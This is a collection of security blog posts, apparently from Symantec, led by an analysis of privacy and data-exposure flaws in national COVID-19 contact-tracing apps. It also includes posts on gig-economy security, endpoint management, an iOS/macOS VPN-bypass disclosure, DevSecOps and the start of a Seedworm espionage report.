Not all contact tracing apps are equal and an app used by a company to contact-trace its employees while at work can have different objectives than those of an app used by a government to contact-trace its citizens. Any app with tracing functionality should follow best practices when it comes to the collection of data and how that data is stored and used, and there are different rules and regulations relating to this in different parts of the world. This report will analyze 25 popular COVID-19 tracing apps to find out how they do when it comes to security and privacy. However, first, we need to lay out which type of apps we will be looking at and how they work, as well as some of the laws and usage requirements that can shape contact tracing apps.
Government vs private
Tracing apps developed and used by governments and ones used by businesses can be for very different use cases. A government app’s intent is to keep track of who a user has been in contact with and to alert users if they have been near a person infected by the virus. An app provided to employees by their employer may be intended to do the same but in a geofenced area, namely the workplace. As well as this it may be needed to trace an infected user’s movements so that the relevant areas can be disinfected. For the purpose of this report we will not be analyzing apps intended for use by employees solely in the workplace and will focus instead on national apps intended for use by the general public.
GDPR
Tracing apps intended for use in the European Economic Area (EEA) must be in compliance with the General Data Protection Regulation (GDPR). GDPR’s stringent privacy and data protection principles offer a comprehensive, functional blueprint for digital system design and, as such, may be viewed as a benchmark to aim for, even for apps in regions of the world that do not have to comply with the regulations. However, because this is often not the case we will first compare the EEA tracing apps, then the non-EEA apps before finally comparing one set to the other.
How COVID-19 contact tracing apps work
COVID-19 tracing apps use Bluetooth Low Energy (BLE) signals, sent by mobile devices, to keep track of other people and devices the user comes into contact with. If a person they come into contact with tests positive, the app alerts them. Equally, if the user tests positive for COVID-19, the app alerts everyone that they came into contact with.
If done properly, COVID-19 tracing apps have the ability to protect and prevent the spread of the Coronavirus. If not done properly, COVID-19 tracing apps have the ability to put users’ privacy and safety at risk.
COVID-19 tracing app users should expect to be assigned a randomly generated identifier that does not reveal any personal information about them. Furthermore, the app should only be scanning and sending BLE signal data to its servers, but not to any other destinations.
Depending on the use case of a particular app, a range of information may be needed for it to function as intended. For example, if the app is used by a business to trace its employees it may be set up so as to activate and start contact-tracing only within a certain GPS coordinate and conversely to stop once outside those coordinates without recording or sending any information. Furthermore, Wi-Fi data may be needed to justify cleaning/disinfection actions as a result of an infection notification. However, in any scenario, the user must be notified of such data collection. Any data the app is collecting must be clearly and accurately stated in the privacy policy and only collected with the user’s acknowledgment, or with their formal consent where local law so requires. On the other hand, such functionality would not usually be necessary for a nation-wide, publicly available, contact-tracing app
The joint Google and Apple Exposure Notification System, designed to be used by developers of COVID-19 tracing apps, is a framework that does the legwork "for public health authorities to supplement their existing contact tracing operations with technology without compromising on the project’s core tenets of user privacy and security.” While this is a step in the right direction for users' privacy, it seems that few app developers have adopted the framework. Of all the apps we analyzed, we only saw one that used the earlier version of this system.
Testing methodologies
The cloud-based Symantec App Analysis service performed static, dynamic, and behavioral app analysis for nation-wide, COVID-19 tracing apps publicly available from 31 different countries on the iOS and Android platforms. App analysis identifies apps following known security best practices and apps that impact and increase user privacy, security, and risk.
App behaviors impacting privacy, security, and risk:
Sending location tracking insecurely
Exposing private data in the cloud
Using insecure data storage
Using authentication insecurely
Sending data to third-party services not directly relevant to the app’s purpose
Accessing sensitive device data
Sharing data with advertising networks or analytic frameworks
Accessing and sharing the user’s contact list or address book
Accessing the user’s calendar or in-app purchasing
Identifying the user or the Unique Device Identifier (UDID)
App behaviors that follow best security practices:
Certificate transparency for specific domains
Implementing protected confirmation
All SSL connections use certificate pinning
Use of a security framework
Use of NIST NTP servers
Use of common cryptography libraries
Generally, runtime permission models by Android and iOS protect users from apps collecting private data without their knowledge. That being said, there are some issues with the permission model that complicate privacy. In particular, Android COVID-19 contact tracing apps use Bluetooth technology. Android devices group Bluetooth permissions and location/GPS services together, requiring the app and app developer to request and gain access to GPS locations.
Analysis results
We analyzed COVID-19 tracing apps available to the public from 31 different countries, identifying app behaviors impacting user privacy and security.
Eight of the COVID-19 tracing apps were from countries within the EEA. For these apps we found the following:
Three of the eight (38%) access device data containing personal information, potentially exposing users’ identities and raising data minimization concerns under the GDPR;
Two of the eight (25%) fail to protect user data in transit, potentially exposing private data to eavesdroppers and man-in-the-middle (MitM) attacks.
The remaining 23 COVID-19 tracing apps, which were from non-EEA countries, did noticeably worse:
15 of the 23 (65%) access device data containing personal information, potentially exposing users’ identities;
14 of the 23 (60%) fail to protect user data in transit.
Overall, the diagnosis is grim. Our findings found over half of all countries’ COVID-19 tracing apps access device data containing personal information and fail to protect user data in transit.
Our findings suggest that if you are using a COVID-19 tracing app from a non-EEA country, compared to one from an EEA nation, your risk increases by a factor of two. However, not all non-EEA apps performed quite as badly, as detailed in the following Examples section.
Examples
The COVIDSafe tracing app from the Australian Department of Health hits the security sweet spot when it comes to COVID-19 tracing app. The privacy policy (https://covidsafe.gov.au/privacy-policy.html) clearly explains how and what personal information is collected and aligns with our analysis of the app. Furthermore, the in-app runtime permissions clearly state the reasons for requesting the privileges, as seen when asking for Bluetooth tracking: [{"description": "COVIDSafe exchanges Bluetooth signals with nearby phones running the same app. These signals contain an anonymized ID, which is encrypted and changes continually to ensure your privacy."}]
Figure 1. COVIDSafe app
Table 1. COVIDSafe app details
COVIDSafe
Platform iOS
Application URL https://www.health.gov.au/resources/apps-and-tools/covidsafe-app
Application name au.gov.health.covidsafe
Application label COVIDSafe
File hash ab5205600280951e73dee2e40c2aca0b
Version string 1.5
Item ID 1509242894
Category Health & Fitness
Author Department of Health, Australian Capital Territory
Rating count 11238
Meanwhile, at the other end of the spectrum, StopKorona! is a COVID-19 tracing app for Android and iOS from the Ministry of Health of the Republic of North Macedonia. It claims to be a "mobile app developed based on the best global practices for the prevention and control of the Coronavirus. The app is intended to trace exposure with potentially infected persons, by the detection of the distance between mobile devices/applications by using Bluetooth technology."
Furthermore, StopKorona! claims that: "The only data related to you is your mobile telephone number, stored on a safe server managed by the Ministry of Health, to prevent the spreading of the virus." We found that the collected data claimed by the Ministry of Health is accurate. What we found inaccurate is the claim that the data is sent securely.
Often we discover in analysis app developers disabling the security or integrity of network connections. This commonly happens when the servers receiving the data are not configured correctly, or the app libraries are not configured correctly. In any case, this disabling of validation of SSL certificate authorities (CAs) is intentional. Furthermore, if you were able to connect to the servers receiving your private data in a browser on the desktop, you would see a broken lock next to the URL showing the connection sending your private data is insecure.
For mobile apps, there is no such lock visible to the user. App developers know this, often using it to pass the test of security while avoiding taking the time to properly and securely configure private data sent over the network.
Figure 2. StopKorona! app
Table 2. StopKorona! App details
StopKorona!
Platform iOS
Application URL https://stop.koronavirus.gov.mk/en
Application name mk.gov.koronavirus.stop
Application label StopKorona!
Category Social Networking
Developer Ministerstvo za informatichko opshtestvo i administracija Skopje
Report https://api.appthority.com/api/v3/apps/f044d7fff9f94abef2b2c4a378607939/report.json
File hash f044d7fff9f94abef2b2c4a378607939
Version string 1.1.1
Platform Android
Application URL https://stop.koronavirus.gov.mk/en
Application name mk.gov.koronavirus.stop
Application label StopKorona!
Category Social Networking
Developer Ministerstvo za informatichko opshtestvo i administracija Skopje
Report https://api.appthority.com/api/v3/apps/6f8133eefc36551d2af64e6a1db05ed8/report.json
File hash 6f8133eefc36551d2af64e6a1db05ed8
Version string 1.1.0
Figure 3. StopKorona! Disables the validation of SSL CAs, which can increase the risk of unsecure connections
Analysis Tables
Access PII:
Can Access Microphone
Can Access Calendar
Can Access Address Book
Accesses Wi-Fi Info
Accesses Telephony Service
Expose PII:
Sends Data Unencrypted
Disables SSL CA Validation
Data Transport Security Exceptions
App Disabled PFS for Specific Domains
Table 3. PII access/exposure analysis
EEA Country Accesses internet Accesses telephony service Accesses Wi-Fi info App disabled PFS for specific domains Can access address book Can access calendar Can access microphone Data transport security exceptions Disables SSL CA validation Sends data unencrypted Access PII Expose PII
N Argentina 1 N N
N Australia 1 N N
N Bahrain 1 1 1 1 1 Y N
N Brazil 1 1 1 Y Y
N Chile 1 N N
N Colombia 1 1 N Y
N Guatemala 1 1 1 1 Y N
N India 1 N N
N Indonesia 1 1 1 Y N
N Israel 1 1 1 Y N
N Japan 1 1 Y N
N Jordan 1 1 Y N
N Kuwait 1 1 1 Y N
N Mexico 1 1 Y N
N Morocco 1 1 N Y
N North Macedonia 1 1 1 1 1 Y Y
N Punjab 1 N N
N Switzerland 1 1 Y N
N Turkey 1 1 1 1 1 1 Y N
N Uruguay 1 1 1 1 Y Y
N Vietnam 1 1 1 1 Y Y
Y Austria 1 N N
Y Denmark 1 N N
Y Hungary 1 1 1 Y Y
Y Iceland 1 N N
Y Ireland 1 1 Y N
Y Italy 1 N N
Y Norway 1 1 Y N
Y Poland 1 1 1 1 Y Y
Y Portugal 1 N N
Y Spain 1 N N
Table 4. Additional details on the COVID-19 apps analyzed by Symantec
COVID-19 tracing app Developer Category
Aarogya Setu NATIONAL INFORMATICS CENTRE Health & Fitness
Alerta Guate In-telligent Properties LLC Lifestyle
Alertswiss Swiss Federal Office of Civil Protection Reference
BeAware Bahrain eGovernment Authority Bahrain Health & Fitness
CoronaMadrid Comunidad de Madrid Medicina
CoronApp Ministerio Secretaria General de la Presidencia Medical
CoronApp - Colombia Instituto Nacional de Salud Health & Fitness
Coronavírus - SUS Government of Brazil Medical
Coronavirus Australia Digital Transformation Agency Health & Fitness
Coronavirus UY Agencia de gobierno electronico y sociedad de la informacion Utilities
COVA Punjab Government Of Punjab Health & Fitness
COVID-19 Electronic Health Administration, Ministry of Health of Vietnam Medical
COVID-19.eus Osakidetza Utilidades
COVID-19MX INFOTEC, Centro de Investigacion e Innovacion en Tecnologias de la Informacion y Comunicacion Salud y forma física
COVIDSafe Department of Health, Australian Capital Territory Health & Fitness
CUIDAR COVID-19 ARGENTINA Presidencia de la Nacion Argentina Medical
Home Quarantine (Kwarantanna domowa) Ministerstwo Cyfryzacji Medical
Korona Önlem T.C. Saglik Bakanligi Health & Fitness
PeduliLindungi Kementerian Komunikasi dan Informatika Republik Indonesia Health & Fitness
Shlonik The Central Agency for Information Technology Health & Fitness
Smittestopp Folkehelseinstituttet Lifestyle
STOP COVID19 CAT Generalitat de Catalunya Medical
StopKorona! Ministerstvo za informatichko opshtestvo i administracija Skopje Social Networking
Stopp Corona Osterreichisches Rotes Kreuz Medical
המגן - אפליקציה למלחמה בקורונה Israel Ministry of Health Health & Fitness
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Security and the Gig Economy
The risk you never knew existed
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
Over the last few years, the rise of the gig economy – the trend of workers doing jobs as independent contractors who bring their skills to potentially multiple companies at a single time and often work remotely – has created one of the biggest changes in the working environment since the advent of the 40-hour work week.
And this change is more than burying the old-school practice of working at the same company for 30 years and retiring with a pension. Today, it’s not uncommon at all for workers to light out for greener pastures after only a few months with an organization. Staying at a company for two, three or even four years might qualify someone as the proverbial “Old Timer” around the job place.
This change in attitudes, culture and types of work with the gig economy has also forced many companies to reassess how they approach their network security. Dealing with employees who may never go into the office presents organizations with having to employ new security strategies to ensure that these gig workers, who may be necessary, are also managed properly in order to reduce the risk they pose to a business’ network infrastructure.
This change in attitudes, culture and types of work with the gig economy has also forced many companies to reassess how they approach their network security.
That was the topic of a presentation at the RSA Conference 2021 on Monday entitled “The Risk You Never Knew Existed: Security and the Gig Economy,” from James Christiansen, vice president and chief security officer at cloud security technology company Netskope. Christiansen said the increase in gig workers has created an environment where companies have to employ new strategies and tactics that will allow them to benefit from the use of gig workers, yet also reduce the chances that those often-temporary employees could wreak havoc on a network environment.
Christiansen said companies need to look at a “grand strategy” for gig economy protection. This includes a strategy of employing risk analysis, reducing a potential attack surface and understanding the best-practice controls to put in place. As part of this strategy, Christiansen said organizations need to use tactics involving technologies, processes and their own people to beef up security measures across their networks
According to Christiansen, the reasons for these approaches are simple. Gig workers often use their own personal computers, which may or may not be as secure as those of traditional workers, and they may be using their work time to compile sensitive information about a corporate network. Also, with short-term contract workers, background checks for those involved with sensitive information are often overlooked. By the time a company gets around to running a background check on a gig worker, that person could already be out the door after purposely or inadvertently causing mayhem on a network system. Or, they may have even left with pilfered information in hand.
As part of this strategy, Christiansen said organizations need to use tactics involving technologies, processes and their own people to beef up security measures across their networks.
Among the steps Christiansen said companies need to take with regards to gig workers and security are to do a risk assessment of a network and use those results to build a new protection plan. And that plan should be a three-pronged effort that involves the following controls:
Administrative. This would include clear directions from the executive team on the appropriate use of gig workers and requirements for legal agreements with gig workers.
Process. These involve improved training of newly hired gig workers, safeguards that are implemented to prevent the bypassing of vendor management and an awareness of the risks surrounding the use of gig workers.
Technical. These would include practices such as watching when a worker comes online and then goes back offline, encrypting dates that requires authorization at the time it is used, and putting roadmaps in place for assessing risks and what to do when security issues occur with gig workers.
Christiansen said it helps to keep in mind that the gig economy is here to stay. And while the gig economy and the gig worker present new insider threats, this is also a good time to embrace the situation and look at ways to improve your organization’s overall security strategy.
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Security Experts Will Gather to Change the Government Cyber Discussion
Leaders from government, industry to debate question of redefining cyber security at Symantec Government Symposium
Just last month the White House released the first National Cyber Strategy in 15 years, an overarching document that updates the policies, procedures and responsibilities of federal agencies with a focus on protecting data and networks.
The release of the strategy serves as a landmark in the federal government’s fight to keep information secure, but it also comes during a time when the conversation around cyber security has begun to change.
With the growth of capabilities such as cloud computing and mobility, the government must alter how it defends its networks. Simply investing in a hardened network perimeter is no longer sufficient. Agencies must focus on data-level security that can protect sensitive data in an ever-connected world.
The Symantec Government Symposium, to be held October 30 at the Marriott Marquis in Washington D.C., will bring leaders from government and industry together to discuss this change. For the government to successfully protect information, it must redefine the meaning of cyber security, using new technologies, techniques and thought processes.
Our event program focuses on this changing dynamic. More importantly, though, the conference aims to serve as a safe space for an open cyber security dialogue. Throughout the day, government and industry executives will share best practices, ask tough questions, and share ideas on this changing environment.
The Symantec Government Symposium features a deep lineup of speakers who will address their organization’s role in this changing cyber dynamic. Some of the featured speakers at the event are leading this change, including:
William Evanina, Director of the National Counterintelligence and Security Center, Office of the Director of National Intelligence
Suzette Kent (pending approval), U.S. Federal Chief Information Officer, Office of Management and Budget
Jeanette Manfra, Assistant Secretary, Office of Cyber Security and Communications, Department of Homeland Security
Thomas Michelli, Acting Deputy Chief Information Officer for Cyber Security, Department of Defense
Ed Wilson, Deputy Assistant Secretary of Defense for Cyber Policy, Department of Defense
These key presenters – and others – will address such pressing topics as critical infrastructure protection, Department of Defense cyber priorities, automation, cyber workforce of the future, threat isolation, aligning cyber with modernization, cloud, GDPR, among others.
As the National Cyber Strategy highlighted, the federal government, and the United States as a whole, continues to face a data security challenge that is only getting worse. Hacks and breaches affect every citizen in the country in some way, either by exposing their information to people who intend to use it for bad, threatening the companies and organizations they work for or with, and potentially compromising the critical infrastructure that makes our nation run.
There is a big challenge in front of us. The best way to take it on is with information sharing and a unified effort. If you are interested in participating in the conversation, attend the Symantec Government Symposium on October 30. Register here.
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Security for the Evolving Enterprise
Symantec helps organizations transition to the cloud at their own pace with flexible management options and full visibility over enterprise hygiene
The number of customers adopting a cloud-first strategy is growing, with a large percentage of organizations looking to reduce the cost of maintaining an on-prem management infrastructure. These organizations are moving to SaaS-based offerings for managing the security posture of their environment. According to the 2018 IDG Cloud Computing study, 73% percent of organizations have at least some portion of their infrastructure already in the cloud, and within 18 months, the number of environments that are non-cloud will decrease from 53% to 31%. Gartner predicts that various forms of cloud computing are among the areas where most CIOs will increase investments in 2020.
While enterprises seek to move their management to a SaaS based offering, large enterprises may need time to plan and execute such a move. Migration often involves major workflow changes, adoption barriers, and other technical and non-technical challenges. Many enterprises choose to move only a subset of devices to a cloud-managed solution, for example: devices of roaming users or employees who may become part of another company as a result of a merger or acquisition – these devices can be easily managed via a SaaS solution. This may be a preferred option compared to standing up a brand new on-prem management infrastructure. Organizations can still keep a portion of their endpoints managed via on-prem management, but the ability to use both SaaS and on-prem options makes a hybrid model more appealing for such environments.
As Gartner notes, “cloud first” doesn’t mean “cloud always.” Solutions that offer an “all or nothing” model – forcing organizations to manage their infrastructure all via cloud or on-prem – do not provide enterprises with the flexibility to try out and gradually move to a SaaS based model. No matter where you are in the process, your endpoint security solution should accommodate your management needs, not the other way around.
Organizations can still keep a portion of their endpoints managed via on-prem management, but the ability to use both SaaS and on-prem options makes a hybrid model more appealing for such environments.
In the face of today’s evolving threats, enterprises are struggling with the increasing cost and complexity of endpoint security management. Misconfigurations in protection capabilities, unpatched vulnerabilities and poor enterprise hygiene can expose you to targeted attacks. Maintaining a good enterprise hygiene is critical for achieving the highest level of protection. At Symantec, we support the management option that helps you best tune policies and gives you full visibility to ensure optimal capabilities are enabled in your environment.
According to the Ponemon Institute, in 2017 organizations had an average of seven different software agents installed on their endpoints, resulting in noisy and time-consuming management. Symantec solves this problem for customers by deploying a single agent across all endpoints. Admins no longer need to worry about separate client installations, thereby lowering management complexity and total cost of ownership. One unified installation package is available for all clients, delivering our full endpoint protection stack: Attack Surface Reduction, Endpoint Protection, Detection and Response, along with Data and Web Protection via the DLP and WSS agent integrations. The single-agent architecture covers both traditional and modern endpoints, including iOS, Android, Windows in S mode and Windows on Arm.
Management options for transitioning organizations
Protection and management capabilities are important for maintaining a good security posture as you transition to the cloud. One management approach may be more beneficial than another, depending on your needs:
Cloud/SaaS: The cloud-based approach is ideal for organizations seeking to eliminate the operational overhead associated with managing an on-prem infrastructure. Symantec’s Integrated Cyber Defense Manager (ICDm) provides real-time visibility and control over threats, policies, and incidents, from multiple Symantec solutions, in a single console. This helps speed up response time to real time. No more heartbeat intervals, and no need to wait for your endpoints to connect back into your network to see what threats are affecting them. You also no longer have to back up data and setup DB replication schedules. Beyond those benefits, ICDm provides the ability to scale as your organizational needs grow, without having to invest and rebuild hardware. A few hundred endpoints that come in through an acquisition for example, can be easily onboarded and brought into compliance without having to deploy any additional network and management infrastructures. Simply deploy the Symantec agent from ICDm and you’re ready to go.
Symantec Integrated Cyber Defense Manager - full SaaS offering.
On-prem: This is where most enterprises are today. They continue to use an on-prem architecture as it allows them to piggyback on their existing infrastructure. On-prem also allows customers with strict compliance and regulatory needs to have more control over their data and where they host their management. This option is better suited to restricted networks, for example a factory in a remote location which doesn’t have outbound connectivity or an air-gapped environment in a research facility. The on-prem management console is feature rich with several policy and configuration settings, and years of development work built into it. It provides robust investigation and incident response capabilities for security admins and SOC analysts, including visibility into red team tests. This helps prevent advanced zero-day threats and lateral movement attacks. Customers especially benefit from the management console’s flexibility and granular controls.
Symantec Endpoint Security on-prem manager.
Hybrid: Symantec Endpoint Security customers have traditionally maintained their servers and databases on-prem. However, many of them are now starting to move their data centers to the cloud and are also looking to move their endpoint security management infrastructure. As mentioned before, transitioning to a new management solution is a difficult process which doesn’t happen overnight. This is where the hybrid model comes in, providing the most flexibility for customers who want to move to a cloud-managed console gradually. Administrators can pick and choose the set of machines they want to move to cloud management, and continue doing so over a gradual period of time while maintaining part of their environment untouched. The architecture allows for full visibility over devices, events and alerts in a single place, our Integrated Cyber Defense manager.
Hybrid: One-click experience to enroll SEP Manager to the cloud.
Enterprise hygiene
A key aspect of deployment management for an evolving and heterogeneous enterprise is ensuring good enterprise hygiene, to maintain device protection and policy compliance. Symantec’s Admin Console provides visibility into the overall security posture in a single place, including the health of all endpoint devices, as well as tools to ensure that any new devices that join the network are identified and protected. Multiple methods are available to enroll endpoints:
Discover & Deploy. Discover devices in your environment that are not protected by Endpoint Security using our network discovery, and then deploy the Symantec agent to them remotely from the cloud or your on-prem console. Network discovery performs a network level search for unmanaged devices. You assign one machine with the Endpoint Security agent to crawl the network and identify all the devices that don’t have the agent installed. The machine then reports back to the dashboard with a list of devices that are missing protection capabilities. You can also configure and use your Mobile Device Management (MDM) provider to get a list of all devices in the environment. Once devices appear as unmanaged, you can enroll them with push enrollment right from the console without having to deploy agents separately. The Discover and Deploy method might be preferred if you have a large number of unmanaged devices in your environment, and you need help identifying them, or even in cases where an admin wants to continuously monitor for new unprotected devices coming into the network.
Ability to create a redistributable installation package. This method makes it easier for you to use your existing third-party deployment suite for enrollment. You create a redistributable installation package that can be delivered through systems such as Active Directory GPO, Symantec IT Management Suite, VM Workspace ONE, etc. You can also use the downloaded package to install the agent directly onto a device.
Ability to invite users via email. This method allows you to send your end users an email with a link to download the agent directly onto their devices. You might choose this option for enrollment of remote employees or if you don’t have a deployment suite.
Simplified content distribution. With Endpoint Security, you no longer need to worry about redeploying an agent on endpoints to have the latest version. Our solution can automatically push upgrades for software versions and agent content. Once you set your Content Policy and schedule in the cloud console, they will automatically be distributed to devices via our LiveUpdate feature.
Reporting. The console reports on client health and provides metrics on misconfigured or malfunctioning clients. You can review the health of your client-to-management console connection and which devices are and aren’t protected, including which devices are at risk. This information helps you manage agent health and configure policies to ensure proper operation of the Symantec agent. Regardless of which management option you’re using, Endpoint Security enables you to check and maintain proper agent hygiene.
Endpoint Security’s agent has built-in protection capabilities fit for each device its deployed on. Once the agent is installed, it is ready to protect devices against known and zero-day threats using the robust protection stack.
Easy upgrades for existing customers
Most customers I talk to are seriously considering the cloud or are in the process of migrating to it. These organizations have a large number of endpoints, policies and configurations to manage, and they likely prefer not to rebuild these once they transition over. If your organization is ready to move to cloud management, you can easily upgrade your existing policies and settings to the cloud. You can make your agents-cloud managed with a simple command, without having to deploy and reinstall another agent.
Here’s how it works in a nutshell. If you are using our on-premises Symantec Endpoint Protection product, cloud enabling your deployment is just a click away. You can connect it to the Integrated Cyber Defense manager, and we will automatically upload the device information. This process first involves selecting the devices that you want to be cloud-managed by issuing a simple command, and then either: using out-of-the-box default Symantec policies, customizing policies in ICDm, or exporting/importing selected policies from the on-prem manager.
* * *
Protecting your organization from advanced, evolving threats can be challenging – but managing your security solutions shouldn’t be. Symantec provides easy and flexible management options that fit organizations wherever they are, whether they have an on-prem, cloud-based, or hybrid infrastructure. Additionally, with an easy-to-deploy single agent, security teams can be confident their endpoint security scales as they scale.
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Security Innovations That Matter Most
Mission-critical threat prevention and data protection innovations delivered today
Whether your security team is working on cloud migration, deploying Generative AI, enabling remote work, or conforming to the latest regulation, you cannot lose focus on the two most critical components of your security posture: Threat Prevention and Data Protection. Threat Prevention is a cornerstone of any large organization's risk management strategy, and Data Protection is foundational for data breach mitigation. Both Threat Prevention and Data Protection are key to demonstrating compliance with global and regional regulations for data privacy and security. Moreover, the solutions you choose must continually evolve, extending innovative approaches that are always one step ahead of the next threat.
Modern challenges for global enterprises
For large and complex organizations Threat Prevention and Data Protection must extend everywhere data resides. A modern approach to both enables organizations to:
Intelligently reduce an organization’s attack surface with little or no impact on the productivity of users or business processing
Enable remote work on managed and unmanaged devices
Apply uniform security across endpoint, email, network traffic, and cloud applications
Simplify compliance by meeting industry standards, regulations, and laws
Symantec Enterprise Cloud delivers advanced threat protection and sensitive data detection across endpoint, email, web traffic, and cloud applications. This allows customers to discover and block targeted attacks and data breaches that would otherwise go undetected.
Our customer-focused innovations include:
Generative AI Protection provides guardrails for users while enabling a productive and lower-risk work environment
ZTNA Data Protection ensures DLP policies are applied against private resources and corporate assets
Adaptive Protection that significantly reduces the attack surface employed by living-off-the-land attack methods
Threat Hunter expert research and analytics, enriched with global intelligence to stop unfolding attacks
And many more…
Symantec Enterprise Cloud: A modern solution for threat prevention, data protection, and more
Symantec Enterprise Cloud is a Threat Prevention and Data Protection solution that uniquely addresses current and future needs. How do we do it? That’s where things get interesting. To learn more about how our innovations are addressing the challenges that matter to you, download our white paper.
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Security Issue Allows Apps to Bypass VPN Connections on iOS and macOS
Issue allows developers to create apps that could, intentionally or unintentionally, send data across unsecure channels.
Symantec has identified a security issue with both iOS and macOS that could result in network traffic circumventing VPN tunnels. This issue allows third-party developers to develop applications that could bypass the VPN client set-up, resulting in any traffic or data originating from the application intentionally or unintentionally being sent across unsecure channels.
Apple VPN Client Setup
The Apple SDK provides a NetworkExtension API to set up VPN clients on Apple operating systems such as iOS and macOS that "protects their Internet browsing activity on insecure networks such as public Wi-Fi networks." According to Apple, the VPN client will route traffic based on destination IP address. This means that the API can dictate which destination IP addresses will be routed to the virtual interfaces and therefore directed through the secure channel which the VPN client provides.
In a typical VPN client implementation the system should route any traffic according to the route table provided by the VPN client, regardless of where and how the traffic originated. A third-party user application that attempts to change or disable these routes requires both special developer permissions granted by Apple and then user permission at the time the routes are changed. A third-party application should not be able to bypass or alter this routing method once it has been set up in the system without the user’s knowledge.
Unexpected behavior
Symantec researchers found that third-party applications on both iOS and macOS can evade this routing method by explicitly binding a network socket to the IP address of a physical network interface leading to insecure internet browsing activity.
If an application binds a socket to a specified IP address, any traffic that is sent to this socket is sent out directly through the physical network interface. This means that it isn’t tunneled through the VPN client’s virtual interface, regardless of whether the traffic is included in the VPN route table.
Symantec has found multiple applications that establish VPN tunnels in such a manner.
Symantec tested the behavior of other operating systems such as Android version 4.4, Windows 10, Ubuntu Linux (version 17.04), and FreeBSD (release 11.1) and found that these operating systems behaved as expected and traffic was correctly routed through the VPN tunnel regardless of how the network socket was established.
It should be noted that this issue applies only to the NetworkExtension API, which is used by many third-party VPN applications. The Always-On VPN functionality, which applies VPN configuration natively in supervised mode using a configuration profile, cannot be circumvented in this way.
Privacy and security implications
This unexpected behavior on iOS and macOS presents some privacy and security concerns as third-party applications may intentionally or unintentionally evade VPN tunnels.
In some situations this may mean that applications which rely on VPN tunnels will simply fail to work correctly. However of more concern is that this behavior will result in sensitive information being transmitted in clear text.
This behavior presents scenarios where sensitive data could be leaked and potentially intercepted by malicious attackers.
Many organizations use VPN tunnels to ensure that communications or data sent across networks is encrypted. However this behavior presents scenarios where sensitive data could be leaked and potentially intercepted by malicious attackers.
Additionally many organizations also use VPNs to provide control over devices. They can use VPN connections to perform administrative activities such as scanning traffic, recording and auditing activity, and blocking access. By evading the VPN connection an application is also effectively evading these controls.
Mitigation
Symantec reported its findings with Apple and was advised that this behavior doesn’t constitute a security vulnerability, and that the NetworkExtension framework feature makes no guarantees about where traffic will flow. Apple recommends using the Always-On VPN functionality instead. However, given the NetworkExtension framework documentation does not specify such limitations, Symantec believes this approach puts users at risk as many VPN applications and developers are utilizing the NetworkExtension framework to provide secure VPN capabilities. Apple noted they will look into updating the NetworkExtension framework documentation accordingly.
Symantec recommends that application developers review their usage of NetworkExtension APIs to establish VPN tunnels.
Organizations should ensure third-party VPN applications are not vulnerable or utilize Always-On VPN functionality, which Apple documentation states “gives your organization full control over device traffic.”
Symantec also recommends that organizations and users only install applications from known and trusted publishers who are more likely to adopt secure development practices.
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Security Risks and Continuous Development Drive Push for DevSecOps
How the need to speed application creation and subsequent iterations has catalyzed the adoption of the DevOps philosophy
The sharp rise in cyber security attacks and damaging breaches in recent years has driven a new mantra among both application developers and security professionals: “Build security in from the ground up.” Although it’s hard to argue with that commonsense objective, actually achieving it has proven to be far from straightforward.
Traditionally, of course, developers have focused on delivering reliable software that first and foremost provided the desired functionality. Security was largely an afterthought, if a thought at all – something that was to be layered on top of the application once it hit production. When, inevitably, applications were found to have code vulnerabilities, developers crafted and distributed patches to fix them.
Never ideal, the patch and update model has become untenable as security threats have escalated and software development cycles have accelerated. Much of this acceleration has been driven by public cloud computing, which has fostered the rise of a continuous integration/continuous delivery (CI/CD) development model.
At a more macro level, the need to speed application creation and subsequent iterations has also catalyzed the adoption of the DevOps philosophy. The fundamental basis for this movement is to better integrate developer and operations teams, thus ensuring that each side has a better understanding of the other’s needs and constraints.
By some estimations, DevOps and CI/CD can inherently aid in the creation of more secure software. Why? Because, thanks to the rapid application iterations, software flaws can be more quickly identified and more swiftly patched.
The problem with this supposed benefit is that it doesn’t alter developers’ build/patch mentality. Vulnerability fixes may indeed occur more quickly, but security still isn’t a core developer concern or responsibility.
Spanning the Development & Deployment Cycle
To truly deliver on the “security from the ground up” objective, DevOps teams need to blend in a security component that spans the entire software development and deployment lifecycle. That need has resulted in the notion of a DevSecOps paradigm or culture. Here again, though, the concept is easier to grasp than to achieve.
The challenges associated with DevSecOps range from cultural to technical. Developers long disinterested in security issues need to change their mindsets and expand their skillsets. Development and security teams that have largely operated in their own isolated domains need to learn how to tightly collaborate. Developers who already have tools for code production and management now need tools for building secure apps. For their part development team managers need tools to give them visibility into the security of the code each developer is producing.
When it comes to implementing DevSecOps, there is no one-size-fits-all guidebook. Cloud native and more entrepreneurial firms may be able to mesh their developer, operations and security teams more quickly and easily than more mature organizations that must break down existing functional silos. Even though there will be a gradient in how tightly integrated the various teams become in different organizations, however, there is a fundamental need to move security beyond its own isolated domain.
“The goal is to decentralize and democratize security,” explains Hardeep Singh, cloud security architect at Symantec. “Having centralized security and decentralized development and operations is a recipe for disaster.”
Although developers must become more conversant and capable regarding security issues and approaches, the degree of their security expertise will vary considerably. Likewise, security pros typically aren’t going to become coding wizards. That said, each group needs to better understand the other’s worlds, and how the two must intersect.
Often, the security members within DevSecOps environments will set high level priorities and best practices, while the developers will be tasked with implementing them.
“You can’t expect app developers to know the best practices to secure IP data or to identify a SQL injection,” says Raj Patel, Symantec’s VP of Cloud Platform Engineering. “But you can train them on safe development practices and techniques.”
There may be some resistance among developers asked to take more responsibility for building secure code, just as some security experts may balk at bringing developers more fully into the security lifecycle process. Most often, though, these two groups are happy to share the burden of producing secure applications, since doing so not only reduces cyber security risks but also makes their own work lives easier.
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DevSecOps can also drive a meeting-in-the-middle truce between the historical – and polar opposite – attitudes of developers and security pros. The bias of developers has been to say “Yes” to user requests, while that of security experts – prioritizing security over functionality and ease-of-use – has been to say “No.”
“In some ways, DevSecOps can be how security teams move to ‘Yes,’ because they’ve helped developers address security needs right from the start,” says Patel.
Learn More About Symantec's Cloud Workload Protection Suite Here
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Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms
Group remains highly active with more than 130 victims in 30 organizations hit since September 2018.
Symantec researchers have uncovered extensive insights into a cyber espionage group behind a recent series of cyber attacks designed to gather intelligence on targets spread primarily across the Middle East as well as in Europe and North America.
The group, which we call Seedworm (aka MuddyWater), has been operating since at least 2017, with its most recent activity observed in December 2018.
